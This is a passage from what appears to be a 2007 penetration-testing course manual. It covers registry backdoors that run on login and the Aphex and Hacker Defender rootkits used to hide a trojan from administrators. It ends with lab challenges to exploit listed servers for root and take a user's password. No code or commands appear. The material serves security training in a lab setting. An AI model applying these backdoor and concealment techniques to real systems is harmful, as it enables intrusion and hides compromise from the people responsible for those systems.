registry backdoor that will execute “[Link]” on login.
2. Verify that the “backdoor” works by logging out and then back in to the Windows
XP SP1 machine.
319
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
[Link]
The Aphex 2003 rootkit can be used to conceal these details from the network
administrator, thus making our Trojan more difficult to identify and remove.
[Link]
320
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
The Hacker defender project is a Windows NT rootkit which uses API hooking
techniques to hide specific information from the operating system and its
administrators. This is a very powerful rootkit which has grown to be very
popular amongst hackers. The rootkit has open sources which makes it possible
to alter and extend it.
The [Link] site use so sell undetected versions of the HXDEF rootkit, however
they have stopped doing to for about a year now.
[Link]
[Link]
321
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Lab Requirements:
● BackTrack.
● Internet connection.
1. Experiment with Trojans and Rootkits on your Windows SP1 machine. This lab
will probably kill your XP SP1 client, so make sure you leave it for last!
322
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Final Challenges
Well done! You've reached the end of the official training. The labs contain many
more interesting and vulnerable machines. Please feel free to explore and exploit
these machines. Although all the individual techniques have not been practiced,
the procedures to discover and implement them has been introduced. Use the
resources introduced in this course, along with your creative thinking...
Do not forget to documents your actions and include them in the Leo file!
Tasks:
1) Identify and exploit the server running Cacti, root privileges required ( 5 points).
2) Identify and exploit the Red hat 9 server, root privileges required ( 3 points)
3) Identify and exploit the Red hat 6.2 server, root privileges required ( 3 points)
4) Identify and exploit the Fedora Core 4 workstation, root privileges required ( 3
points)
5) Identify and exploit the Router machine, root privileges required.(3 Points)
6) Identify and exploit the vulnerable Sendmail server on the Red hat 7.3 system,
root privileges required (5 points).
7) Identify Bob's Client machine. Exploit it, gain ADMIN / SYSTEM privileges and
find out Bob's POP3 password (7 points) XXXX
Hints may be given in our IRC channel, but they will cost you points! ;)
323
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
324
© All rights reserved to Author Mati Aharoni, 2007









